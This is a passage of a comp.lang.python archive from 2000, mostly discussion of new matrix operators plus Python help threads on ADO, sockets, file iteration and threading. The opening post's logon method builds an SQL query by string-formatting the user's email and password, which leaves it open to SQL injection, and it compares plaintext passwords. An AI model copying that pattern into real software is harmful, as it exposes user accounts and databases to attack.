from win32com.client import Dispatch

# Constants

# ---- CursorTypeEnum Values ----
adOpenStatic = 3
# ---- LockTypeEnum Values ----
adLockOptimistic = 3
# ---- CommandTypeEnum Values ----
adCmdText = 0X0001

# ---- ObjectStateEnum Values ----
adStateClosed = 0X00000000
adStateOpen = 0X00000001
adStateConnecting = 0X00000002
adStateExecuting = 0X00000004
adStateFetching = 0X00000008

sourcedb = "s:\\data\\merlin.mdb"

class ths:
    def __init__(self):
        self.dbcon = Dispatch("ADODB.Connection")
        self.dbcon.Open("Driver={Microsoft Access Driver (*.MDB)}; DBQ=" +
sourcedb)
        print "Create ths..."

    def test(self):
        print "Connection state:", self.dbcon.state

    def __del__(self):
        print "Deleting ths..."
        self.dbcon.Close()
        self.dbcon = None

    def logon(self, email, password):
        rs = Dispatch("ADODB.Recordset")
        qry = "select * from user where email = '%s' and password = '%s'" %
(email, password)
        rs.open(qry, self.dbcon, adOpenStatic, adLockOptimistic, adCmdText)
        return not rs.EOF




--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants





From neilh at scintilla.org  Wed Jul 26 21:35:01 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Thu, 27 Jul 2000 01:35:01 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <8ln84n$380$1@gaia.cdg.acriter.nl> <njLf5.12964$4p3.101185@news-server.bigpond.net.au>
Message-ID: <9lMf5.13032$4p3.100924@news-server.bigpond.net.au>

> Watching the reactions of the dyed-in-the-wool-MS-hating-academics was
> almost the most interesting part of this project.  Suffice it to say they
> started the project with their "Tux" t-shirts being worn proudly every
> (single, smelly :-) day, but by the time the PDC came around they were
> first in the queue for their .NET tshirts ;-)

   This is a great move for Microsoft. While a large number of languages
have been implemented on the JVM, Sun has not been interested in making the
Java world friendlier to other languages. I don't think they have accepted
one extra byte code to help another language and some implementors have
argued that very minor changes could lead to much better implementations for
their language.

   It's not all happiness though. There has been mention of a Common Lisp
group that bailed because of concerns with the .NET process. And several
languages that would be good candidates for this environment such as Ruby
appear ignored. Microsoft is, for now, listening very hard so now is the
time for ensuring that .NET will be a good environment for languages and
language features that you care about.

   To monitor .NET developments, subscribe to the high volume DOTNET mailing
list:
http://discuss.develop.com/dotnet.html

   Neil





From tim.hochberg at ieee.org  Mon Jul 24 16:34:40 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Mon, 24 Jul 2000 20:34:40 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain>
Message-ID: <m2bsznl3n0.fsf@spiff.home.com>

hzhu at localhost.localdomain (Huaiyu Zhu) writes:

[...]

> On Sat, 22 Jul 2000 01:28:52 GMT, Tim Hochberg <tim.hochberg at ieee.org> wrote:
 
> 1. Is it necessary to distiguish inner and outer?  With Greg's indexing
>    rules these are essentially the same.  Six would be enough.

Someone (?) strongly requested outer. Since no syntax is really
_necessary_, it's just a question of balancing how large the demand for
shorthand versus the pain of adding it. I almost never user outer, so
I'll leave the lobying up to those who use this. 
 
> 2. What would be the meaning of | and ^ for matrices?  What's the meaning of
>    (|) and (^) for numbers?

For the proposed operator set proposed in the summary, [(+), (-), (/),
(*), (.), (|), (^)], | and ^ would be bitwise OR and XOR as they are
now for Numeric. That's admittedly a little dicey, which is why
another choice might be better. The natural choice for power is of
course (**), but I worry that it may be hard to visually parse. (!)
was suggested for solve, but it is too associated with factorial for
me to be happy with it. As for the meaning of (|) and (^), for
numbers; we were forbidden from assigning meanings of new matrix
operations on builtin types, so I refuse to speculate<0.5 wink>.

One of the reasons I keep looking for a symbol for solve is that it's
more or less symmetric to (/) [or @/, etc.] and I suspect as commonly
used, if not more so. It seems that it would be unfortunate to have
one of the pair have a symbol while the other does not. I'm not sure,
but I might rather see two forms of solve, one returning B=A(**)-1(*)C
and one returning A=C(*)B(**)-1, than having one have of the pair
being designated (/) and the other solve (or sol).

> 3. What are the forms of augmented assignments?  (op)= or (op=)

I'd say (op)=. This seems obvious to me. So obvious, that I can't
think of a good explanation for it. (Sigh).

> Major questions:
> 
> 1. Is the justification of (op) form mainly on aesthetic?  Or is it an open
>    door for more operator composition within bracket in the future?  If the
>    former, is two extra char of bracket justified?  If the latter, do we
>    need to discuss what the future extensions might be?

Aesthetics for the most part. I'm not concerned with people wearing
their fingers out typing on any of the proposed syntaxes, so I refuse
to worry about extra characters. I think the sole issue is how
readable it is in complicated expressions; some important points are
made about this below.

> 2. Most important: How do real formulas look like?  (See examples below.)

[Snip...]

 
> Why?  In discussions, the () works as a nice delimiter so (op) appear quite
> nice in the text.  But in real codes it interferes with visual parsing of
> existing ().
> 
> A typical example is the matrix inversion formula, represented as (assuming
> | for solve, .I for inverse)
> 
> b = a.I - a | u / (c.I + v/a*u) * v / a
> 
> b = a.I .- a .| u ./ (c.I .+ v./a.*u) .* v ./ a
> 
> b = a.I @- a @| u @/ (c.I @+ v@/a@*u) @* v @/ a
> 
> b = a.I (-) a (|) u (/) (c.I (+) v(/)a(*)u) (*) v (/) a
> 
> The last one appears least clear, because it is difficult to visually parse
> the parenthesis used for precedence.  Fine tuning on spacing and case of
> names may offer some relief but the main problem won't go away.

The first is definitely the best. This does give me some sympathy for
the reversing the sense of the operators in different packages
proposal. Not enough, I don't think, but some. I think the second one
is actually the worst: are you going to notice the difference between:

b = a.I .- a .| u ./ (c.I .+ v./a.*u) .* v ./ a

and 

b = a.I .- a .| u ./ (c.I .+ v./a*u) .* v ./ a

It seems that accidentaly using matrix when elementwise was meant and
vise versa would be a huge problem.

The third is hard to parse because @ is so heavy, and the last case
has parentheses problems. Blech. I went ahead and tried the other
passible bracketing symbols:

b = a.I [-] a [|] u [/] (c.I [+] v[/]a[*]u) [*] v [/] a

b = a.I <-> a <|> u </> (c.I <+> v</>a<*>u) <*> v </> a

b = a.I {-} a {|} u {/} (c.I {+} v{/}a{*}u) {*} v {/} a

The [*] form looks a little better. The <*> form bugs me because <->
looks like and arrow, but otherwise looks better than I expected. The
{*} form looks no better than [*] form, and is less evocative of a
matrix operation.

> Although this formula might have a bit higher than average complexity,
> similar types of formulas occur frequently in various applications.  They
> cannot all be put into named functions because there are many variations.
> 
> As I see it, the main reason for introducing infix operators is because
> otherwise we would have to use either op(a,b) or a.op(b), both of which
> introduces parenthesis that clutters the code.  But a(op)b has similar
> effects. Although (op) has a very short range, the () can't be readily
> distinguished from other usages of () with much longer range.

I think the comparison with op(a,b) is not really valid since it is
not infix notation. Most people prefer "A + B" to "+ A B" due to
familiarlity with infix notation in this context. When the later
becomes "plus(A,B)" it exacerbates the problem, but the main problem
is infix versus prefix notation.

That being said, a.op(b) is more or less a fair comparison. I don't
think parentheses are the only issue though, even here. One is the
lack of symmetry, which makes the connection with infix notation
harder to see. For example, when I abused call functionality to
provide matrix multiplication, people were much more likely to accept
(A)(B) then A(B) despite the increase in parentheses in the
former. Second is symbol length, A.add(B) use six symbols to spell
matrix add while A(+)B uses only two. 


> So it appears ".op" and "(op)" share similar disadvantages:
>      ".op"  because "." is numbers, class members, ...
>      "(op)" because "()" is precendence (tuples), function arguments, ...
> maybe we need to consider "@op" more seriously?

My opinion: ".op" should be killed; any more consideration of this
front should go to "@op" or "~op". "(op)" should probably also die and
be replaced by "[op]" or, maybe, "<op>" or "{op}".

I'm also starting to wonder if maybe there is no good, pythonic syntax
to be added here . Perhaps more consideration should go into using the
existing operators and making tranformations between elementwise array
objects and matrix objects convenient.

-tim


From python at polaris.ca  Sun Jul  9 02:20:36 2000
From: python at polaris.ca (Seamus Venasse)
Date: Sun, 09 Jul 2000 06:20:36 GMT
Subject: Parsing lists
Message-ID: <UQU95.68799$HK2.1203440@news20.bellglobal.com>

I am creating a simple list of titles and urls.  I would like to parse this
list, but I keep receiving an error.  Here is a simplified version of my
code and error received:

>>> list = [ 'title1', 'url1', 'title2', 'url2', 'title3', 'url3' ]
>>> for title, url in list:
...     print title, url
...
Traceback (innermost last):
  File "<stdin>", line 1, in ?
ValueError: unpack sequence of wrong size

Of course, if I change the code as follows, at least it prints everything in
the list:

>>> list = [ 'title1', 'url1', 'title2', 'url2', 'title3', 'url3' ]
>>> for title in list:
...     print title
...
title1
url1
title2
url2
title3
url3

What am I missing the first example?  Any assistance would be greatly
appreciated.

Seamus




From gjm11 at g.local.bbs  Mon Jul 17 18:20:03 2000
From: gjm11 at g.local.bbs (gjm11 at g.local.bbs)
Date: 17 Jul 2000 22:20:03 GMT
Subject: Discussion: Introducing new operators for matrix computation
Message-ID: <3bRRJ4$k4B@openbazaar.net>

Huaiyu Zhu wrote:

>>> How would you write this in list compresension (in less than 10 lines)?
>>>
>>> B*(sin(A*x+b).*(A*y)/3)/C
>>>
>>> Note that * is matrix multiplication and .* is elementwise.  Note that C is
>>> a matrix so the / is matrixwise.  If you want to write everything as for
>>> loops it takes at least 30 lines, without any decent error analysis.
>>
>>    B*[p*q/3 for p in A*x+b, q in A*y]/C
>
> Someone else had already given a similar answer.  But more work is needed
> for such things to work:
>
> The x, b and y could be matrices, so p and q need to be double loops.

Only if you implement matrices as lists of lists, in which
case operations like * and / won't work anyway. I was assuming
that (1) you have a special Matrix class, and (2) the machinery
for list comprehensions is flexible enough to let it express
other kinds of mapping.

> The [ ... ] need to be a double lists.  Is list comprehension defined for
> this?

It doesn't even exist yet. :-)

I repeat that I'm assuming that there's mechanism for doing
"comprehension" on aggregate objects other than lists, so
that [f(p) for p in FOO] can be made to build a copy of FOO
with the operation f applied to its elements. I think this
is the Python Way (consider e.g. the fact that it does
tuple indexing and list indexing and dictionary indexing
all with a uniform syntax).

> B*[..]/C would not work without a cast from double list to matrix.

Not if my assumption above is correct.

> For all these errors, what would the error messages look like?  Do they
> involve the dummy indices p and q?  A previous answer also reused the name b
> for the dummy variable, which would make the error even more obscure.

These are not errors unless my (perfectly reasonable) assumptions
turn out to be false.

> Besides, the main point of using matrix is to be free from specifying loops
> over indices with dummy names.  Compare this double loop with extra syntax
> with a single operator .* and you may wonder why this is considered at all.

And compare the cumbersome expression above with the much simpler
  &
which I have just defined to mean what you write as
"B*(sin(A*x+b).*(A*y)/3)/C". It's easy to make things
look neater by adding syntactic sugar, provided you're
doing it to only one smallish class of things at a
time. But there's such a thing as too much syntactic
sugar. One design decision that's pretty fundamental
to Python is that there's very little syntactic sugar;
if you prefer a language that goes the other way, you
can always try APL or J. They're pretty good with
matrices, too. :-)

--
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From alex at magenta.com  Thu Jul 20 10:41:38 2000
From: alex at magenta.com (Alex Martelli)
Date: Thu, 20 Jul 2000 16:41:38 +0200
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com>
Message-ID: <8l73an01lgb@news2.newsguy.com>

"Roger Upole" <rupole at compaq.net> wrote in message
news:hMrd5.49275$e6.2860918 at pouncer.easynews.com...
> Using an initial read is a common enough idiom in any language.

It is extremely rare in languages which allow assignment in
expressions, and would normally denote lack of familiarity
with the language's idioms.

> f=open('filename','r')
> fline = f.readline()
> while fline:
>     ....
>     fline = f.readline()

Everything should be done ONCE, and only ONCE.  In ONE
place in the code.  This expands the abstract operation
"get next thingy if any" in two places, just because of a
language quirk.

> >     def readline(self):
> >         line = self.source.readline()
> >         self.line = line
> >         return line             # may be empty, thus false

I don't see why not just:

    def readline(self):
        self.line = self.source.readline()
        return self.line

Seems to have exactly the same semantics; the local-variable
line does not appear to be playing any role.


> > could somebody enlighten me, please? and is there any easier way to
> > iterate over lines in a file without resorting to ugly break statements?

The fileinput module does just that in a very elegant way, IMHO:

import fileinput

for line in fileinput.input("myfile.txt"):
    # do whatever you wish with line


Alex





From cut_me_out at hotmail.com  Sun Jul  9 17:03:04 2000
From: cut_me_out at hotmail.com (Alex)
Date: 09 Jul 2000 17:03:04 -0400
Subject: How to approach this?
References: <8kal5v$8n5$1@supernews.com>
Message-ID: <etdya3byq2f.fsf@w20-575-115.mit.edu>

> I want there to be just one instance of the database class which is
> created as soon as it's needed by a dependant class.

This might be worth a try.

Alex.

class Connection:

    '''Replace this with whatever actually makes the connection'''
    
    def query(self, query):
        print query

class Connection_wrapper:

    '''Dependant classes should call this.'''

    connection = None
    reference_count = 0

    def __init__(self):
        ref_cnt = Connection_wrapper.reference_count
        Connection_wrapper.reference_count = ref_cnt + 1
        if Connection_wrapper.connection == None:
            Connection_wrapper.connection = Connection()

    def __getattr__(self, attr):
        return getattr(self.connection, attr)

    def __del__(self):

        # Can't refer to the class as Connection_wrapper, that name
        # can get overwritten by another version of the class during
        # repeated interactive invocations, for instance.        
        my_class = self.__class__
        ref_cnt = my_class.reference_count
        my_class.reference_count = ref_cnt - 1
        if my_class.reference_count == 0:
            my_class.connection = None

class Dependant_class:

    def __init__(self):
        self.connection = Connection_wrapper()

    def query(self, query):
        self.connection.query(query)

t = Dependant_class()
t.query('Testing that the query method gets called.')
t.connection.connection.touched_p = 'touched.'

s = Dependant_class()
connection = s.connection.connection
assert hasattr(connection, 'touched_p') and \
       (connection.touched_p == 'touched.'), \
       'Should be the same instance.'


From paul at prescod.net  Mon Jul 17 15:59:32 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 14:59:32 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com>
Message-ID: <397365A4.87F8CD3E@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
> 
> I thought I replied your email through email ... Ah, here it is:

Right, but you weren't the person who brought up the millions of Matlab
users this time.

> ...
> On the other hand, open source may beat them
> easily, as long as
> 
> 1. we are using a better language which has more potential
> 2. users have incentive to contribute because it's already useful
> 3. there's no big hurdle beyond what's already in Numerical Recipe

You presume a great deal of human labour which you cannot provide by
yourself. We cannot extend Python based on your faith that these people
will come along and do the work to make it a serious Matlab competitor.
Anyhow, you can prove me wrong by making MatrixPython as popular as
Python. Then we will come to YOU and ask if we can merge grammars to
unify our communities.

I could just as easily claim that if we add regular expressions to the
Python syntax, all of the Perl users would come over here. I don't have
any evidence, though.
-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From lordkaos at my-deja.com.bbs  Mon Jul 17 19:10:03 2000
From: lordkaos at my-deja.com.bbs (lordkaos at my-deja.com.bbs)
Date: 17 Jul 2000 23:10:03 GMT
Subject: test_socket, similar problem:
Message-ID: <3bRSXR$ja5@openbazaar.net>

I'm having a similar problem to the below, but on a Mac (MacOS 9.0.4) w/
Python 1.5.2 (same error w/ test_socket, and same thing when I tried
open a simple socket connection) I'm sure the problem/solution is
similar, but how in specific do I fix it on a Mac? Thanks.

> Harry George wrote:
> >
> > [I looked in dejanews, but all the socket queries are way beyond
where
> > I'm stuck.]
> >
> > I have a win95 machine which is samba'd to a linux box.? I'm trying
to
> > learn to do python on win95 (COM et al).? First step is to get it
> > running.? py152.exe went ok; then win32all-128.exe.? python,
> > pythonwin, icons in the explorer all ok.? Able to edit and run
simple
> > hello, worlds.
> >
> > Then in the interpreter I tried:
> >? import test.autotest
> > It ran ok (with lots of skipped optionals), but test_socket crashed
> > with socket.error "host not found"
>
> I had the same error. As far as I understood my? computer didn't know
> about his name.. ;-) I made the? file "c:\windows\hosts" , that
> contained one row:
>
> 128.0.0.1 localhost
>
> and after reboot all worked fine..
> >
> > Of course this could be a non-python win95 setup issue, but with
> > tcp/ip running ok (samba, ftp, ping, etc.), I'm wondering if there
is
> > a python-specific issue.? Any ideas?
> >
> > --
> > Harry George
> > hgg9140 at seanet.com
>
> Alexei Kichkine (http://infocentr.


Sent via Deja.com http://www.deja.com/
Before you buy.


From spam at spam.com  Wed Jul 19 20:34:41 2000
From: spam at spam.com (Penfold)
Date: Thu, 20 Jul 2000 01:34:41 +0100
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain>
Message-ID: <AMrd5.4143$FA2.463817@nnrp3.clara.net>

Huaiyu Zhu <hzhu at localhost.localdomain> wrote in message
news:slrn8n9s6i.so.hzhu at rock.localdomain...
> On Tue, 18 Jul 2000 23:35:30 +0100, Penfold <spam at spam.com> wrote:
>
> >I'd expect it would be ...
> >(i) you're asking that the grammer be dynamically changed *as* the module
> >is being parsed.
> >(ii) are you going to restrict the possible new tokens
> >(iii) How does the python interpreter work ... for example the expression
> >a+b
> >results in byte code of the form
> >LOAD_FAST a
> >LOAD_FAST b
> >BINARY_ADD
> >
> >That is, the BINARY_ADD operation deals with the issues of whether these
are
> >instance types (and thus __add__, __radd__, __coerce__
> >etc should be invoked).  At least thats what Ive always believed (never
> >checked the source ;-)  ).  So what gets generated
> >for a .* operation?  An explicit call? does coercion, or the equivalent
of
> >__radd__ ever happen? What happens when a and b
> >are not classes? [well, a TypeError obviously?]
> >
> >I mean there are issues there ;-)
>
> Hmm, so I see the issue - an operator is supposed to do a lot of things,
all
> of which expressed as an opcode (or whatever BINARY_ADD is called).  This
> opcode is only available in the C source, so there is no direct pathway to
> go from .* to __dotmul__ purely inside python.
>
> Let's see what happens to a class, which also can do a lot of things, but
> all of them are available within python.  Why?  Because the internal
things
> are in __dict__.
>
> So why isn't there be something like a __dict__ that holds all the
> properties of operators, including opcode?  Maybe because operators are
not
> supposed to change any way?  Maybe because this stage is even lower than
the
> implementation of dictionary?  Or is there more fundamental technical
> reasons (Like making the compiler much slower)?

Hmm, I dont understand the question properly.  My point is mostly that
having new operators
is fine but they'd tend to be implemented in bytecode as BINARY_DOT_ADD for
example.
Which means, what they are needs to be predefined.  Having a system where
they get dynamically created
during parsing, and could be anything, makes it hard for the byte code
compiler.  It cant generate a
BINARY_AT_DOT_HAT_ADD for a @.^+ because no such opcode exists already.  So
it would have
to instead try to call method names etc.

Which, is not that nice, especially as really, operators arent methods ;-).

>
> ><mini rant>
>
> I know I'm not supposed to respond to rant, but this has come up many
times
> so I thought I might just do it once and for all.
>
> [ about + - * / being easily understandable but no clue about additional
> operators which have no implicit meaning]
>
> The implicit meaning is "the dot in front means the operator is
> elementwise".  Tell a newbie this, then show him the following piece of
code
>
> [1,2] + [10,20] == [1,2,10,20]
> [1,2] .+ [10,20] == [11, 22]
>

The point is more that given a .+ b, in a piece of code, where you *dont
know* what a and b are, what is your
intuitive feel for what it should do.  I'd suggest nothing.  It could be
anything.
(As an aside, why shouldn't [1,2]+[10,20] zip the lists into [(1,10),
(2,20)]. )

> Then give him two minutes for brainstorming. He probably will figure out
> what .* .- ./ do.

No s/hes figured out what it does for lists, now ask them to decide what
they think x .+ y and x .* y probably do for
some arbitrary x,y.  They'll extrapolate from your example, Id hypothesis
that for other types of x and y, theyd do all sorts of weird ass stuff.

> The best way to choose a meaningful symbol in your field is to use the
ones
> people have used for hundreds of years, or if your field hasn't existed
that
> long, spell things out explicitly.  It is a general rule that the newer
the
> field, the more verbose the names.  When things settle down the notations
> will become more concise.  When the total number reduces to less than 7
:-)
> you could even start to consider using binary operators if all of them
have
> a simple rule that maps to existing arithmetic operators that a newbie
> understands in two minutes.

Matlab isnt quite a few hundred years old yet.  And why does it make the
rules?
Shouldnt we more realistically have vector/matrix operators like ||A||,
<x,y>.
These have been around a little longer ;-).

Why shouldnt the parser do unicode text, and allow me to use
intersection/union symbols so that I can
express set theortical stuff better :-)

> >[does it automatically add the spaces between the words too ;-)]
> >yes, because
> >map(lambda x,y: x+"is"+y, ["Alice", "Bob", "Charlie"] .+ "is" .+ ["girl",
> >"boy", "boy"])
>
> With a little correction.  For named lists it is either
ack, I should read what I cut and paste ;-)

> names .+ "is" .+ types
> map(lambda x,y: x+"is"+y, names, types)
>
> The probelm is, of course, you cannot make a C module to speed up
> elementwise operations with the latter notation because it uses builtin
> syntax rather than method call.

Well, not strictly true.  We could make the whole thing uglier like so
map(operator.add, map(operator.add, names, ["is]*len(names)), types)

and we'd get the c speed up on the add, bypassing the slowdown from the
lambda.
But then, thats starting to look almost perlish ;-)

>
> >ever-rantingly-yours,
> >
>
> never-reply-to-rant-again-ly y'rs
>
> Huaiyu
perhaps one more time ;-)

Des.





From moshez at math.huji.ac.il  Tue Jul 18 02:29:34 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Tue, 18 Jul 2000 09:29:34 +0300 (IDT)
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators
 for   matrix computation)
In-Reply-To: <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com>
Message-ID: <Pine.GSO.4.10.10007180902470.8058-100000@sundial>

On Mon, 17 Jul 2000, Huaiyu Zhu wrote:

> Consider the proposal of having two classes, Matrixwise and Elementwise,
> with methods to cast to each other.  I don't know why
> 
> (a.E()*b.E()).M()*(c.E()*d.E()).M()
> 
> would be more preferable to 
> 
> (a.*b)*(c.*d)

For the same reason

import sys, re

r = re.compile("a(.*)z")
while 1:
	line = sys.stdin.readline()
	if not line:
		break
	m = r.search(line)
	if m:
		print m.group(1)

To:
while(<STDIN>) {
	print $1 . "\n" if /a(.*)z/;
}

It's more verbose, and people are able to understand it without learning
weird corners of the language. (BTW: as a former Perl hacker, I find the
Perl code *extremely* readable, and I spend more time understanding the
Python code. But that doesn't change the fact that Perl took me longer to
master then Python, and even then I didn't really understand Perl. For
example, could I lose the ";" in the Perl code? I think so, but I'm not
sure)

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From gmcm at hypernet.com  Mon Jul 17 19:29:07 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 17 Jul 2000 23:29:07 GMT
Subject: Event set/clear/wait
References: <39734D0A.C40861A9@sec.noaa.gov>
Message-ID: <8F74C2976gmcmhypernetcom@199.171.54.155>

j vickroy wrote:

>How can software be written to determine when it is "safe" to *clear* a
>threading.Event that has previously been *set*?

>"safe" is intended to convey the notion that all threads issuing a
>*wait* on the event are no-longer blocking because of it.

You don't need to worry about it. All waiting threads are notified while 
the setter holds the lock. Once notified, they don't look to see if the 
Event is set or clear - they're unblocked.

- Gordon


From hinsen at cnrs-orleans.fr  Mon Jul 24 06:47:32 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 24 Jul 2000 12:47:32 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain>
Message-ID: <m3n1j73iuz.fsf@chinon.cnrs-orleans.fr>

hzhu at localhost.localdomain (Huaiyu Zhu) writes:

> Minor questions:
> 
> 1. Is it necessary to distiguish inner and outer?  With Greg's indexing
>    rules these are essentially the same.  Six would be enough.

What are "Greg's indexing rules"? Inner and outer product are entirely
different operations in my mind, although in principle the inner
product can be thought of as an outer product followed by a summation.
I think that implementation issues also call for separate operators;
using indexing tricks might be difficult for sparse matrices, for
example.

> Major questions:
> 
> 1. Is the justification of (op) form mainly on aesthetic?  Or is it an open
>    door for more operator composition within bracket in the future?  If the
>    former, is two extra char of bracket justified?  If the latter, do we
>    need to discuss what the future extensions might be?

I like the possibility of extending this operator concept later, but for
now (in order to keep this discussion within limits) I'd just call it
a set of aesthetically acceptable matrix operators.

> original                after s/\*/(*)/g; s/\//(\/)/g
> 
> "-"*40                  "-"(*)40                # should this work?

No.

> a*2                     a(*)2                   # should this work?

Yes, as an outer product with a scalar (which happens to do
the same as a*2).

> But the main problem of these operators now appears to be that they do not
> look as clean in long formulas as they appear indivitually.
> 
> Why?  In discussions, the () works as a nice delimiter so (op) appear quite
> nice in the text.  But in real codes it interferes with visual parsing of
> existing ().

They still look acceptable to me, but perhaps [*] etc. is better in
the end. Indexing expressions are never as long as expressions in
parentheses.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From boncelet at eecis.udel.edu  Mon Jul 24 14:59:19 2000
From: boncelet at eecis.udel.edu (Charles Boncelet)
Date: Mon, 24 Jul 2000 14:59:19 -0400
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
Message-ID: <397C9207.EC0528AA@eecis.udel.edu>

After reading numerous posts on the subject of adding more 
infix operators to Python (e.g., making Python more like Matlab),
I'm starting to wonder if the proposed solutions are not worse 
than the original problems.

A few comments (some plagiarised from others--but I'll try to
attribute when I remember the source):

1. MatPy currently does a pretty good job of addressing many of
the concerns for linear algebra.  The syntax for inverse (A.I())
and transpose (A.T()) are both simple and allow for class specific
implementations (e.g. for a triangular matrix).

Yes, Matlab is simpler for linear algebra, but MatPy is not bad.

(I wonder how widely used MatPy will become.  It is a nice package
but it deviates from numpy, which is the Python "standard" for
numerical work.  I wish Huaiyu good luck and hope he continues.)

2. A week or so ago, I suggested just @ for matrix multiplication.  
Someone else asked what about all the other operations (left and 
right inverse, power, etc.), but I was traveling and didn't have time
to respond.  Recently, Konrad Hinson and others have given the 
answer I would have: what do you mean by left and right inverses?
matrix power?

These are not uniquely defined concepts.  In the universe of choices,
I strongly believe that accuracy should not be sacrificed for speed.
(Let the user override the defaults and program for speed if 
necessary.)

In my work, I usually want to control which algorithm is used and
would likely "roll my own" anyway.

BTW, in most applications with which I'm familiar, matrix multiplication
is used much more frequently than matrix division.  

3. For multiarray objects, it is not clear what matrix multiplication,
left and right inverse, and power should mean (to me, at least). 
Without
a good consensus for the meaning of these objects on general
nD-multiarray objects (not just 2D matrices), I wonder whether adding
the proposed infix notations is ill-advised (premature?).

The proposals to add dimensional indices to the infix operators are
really ugly.  Sorry.

4. Travis Oliphant is probably right that the biggest problems with
python and numpy are the lack of toolboxes and the basically
non-existent help system.  Hopefully, Paul Plescod develops his proposed
help system.

I'd like to suggest the inclusion of all of blas and lapack in numpy as
a priority.
-- 
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


From montagne at boora.com  Wed Jul 12 15:08:50 2000
From: montagne at boora.com (michael montagne)
Date: Wed, 12 Jul 2000 12:08:50 -0700
Subject: Browse for folder
References: <Pine.GSO.4.10.10007122043070.12186-100000@sundial>
Message-ID: <am3b5.7356$wE2.19408@dfw-read.news.verio.net>

Unfortunately, I'm using 1.5.2 and 8.3.






From morganea at bellatlantic.net  Thu Jul  6 13:36:28 2000
From: morganea at bellatlantic.net (Michel Orengo)
Date: Thu, 06 Jul 2000 17:36:28 GMT
Subject: Ado stored procs with parameters
References: <CPEKKMGLLILAJEKJNAPDAEEBCBAA.scorder@incigna.com>
Message-ID: <ws395.3621$EV6.110957@typhoon1.ba-dsg.net>

What if you try "rs=cmd.Execute()"?

Michel


"Sam Corder" <scorder at incigna.com> wrote in message
news:CPEKKMGLLILAJEKJNAPDAEEBCBAA.scorder at incigna.com...
> I'm having a bit of trouble using a stored proc on MSSQL that takes
> parameters.  I create a command object and then append the parameters to
it.
> Then I create a recordset object and use the open method passing the
command
> object and a few other parameters.  Unfortunately I get an error saying
that
> the stored proc requires The same parameter that I just added.  Below is
the
> code I'm using.  Any ideas?
>
> Sam Corder
>
> import win32com.client
> constants = win32com.client.constants
>
> class dbcon:
>     def __init__ (self, connect = None):
>         self.connectstr = connect
>     def runSQLReturnRS(self, sql, params = None):
>         if self.connectstr == None:
>             return None
>         else:
>             rs = win32com.client.Dispatch('ADODB.Recordset')
>             cmd = win32com.client.Dispatch('ADODB.Command')
>             cmd.ActiveConnection = self.connectstr
>             cmd.CommandText = sql
>             if params != None:
>                 for parm in params:
>                     cmd.Parameters.Append(cmd.CreateParameter(parm[0],
> parm[1], constants.adParamInput, parm[2], parm[3]))
>
>             rs.Open(cmd, CursorType = constants.adOpenForwardOnly,
LockType
> = constants.adLockReadOnly)
>             return rs
>
>     def __AddParams(self, cmd, params):
>         for parm in params:
>             cmd.Parameters.Append(cmd.CreateParameter(parm[0], parm[1],
> constants.adParamInput, parm[2], parm[3]))
>
> if __name__  == '__main__':
>     db = dbcon("Provider=SQLOLEDB;Data Source=s-incigna2k;User
> Id=msl_login;Password=***;Connect Timeout=5;network
library=dbmssocn;Initial
> Catalog=msl;")
>     params = ("ExpJobID", constants.adInteger, 4, 11),
>     rs = db.runSQLReturnRS("ExpConfig_Get", params)
>     print rs.Fields.Count
>
>
>




From neilh at scintilla.org  Mon Jul 17 21:36:41 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Tue, 18 Jul 2000 01:36:41 GMT
Subject: Could someone clone MS's IL for another OS?
References: <MPG.13dd506ff77f90b298982b@news.onlynews.com>
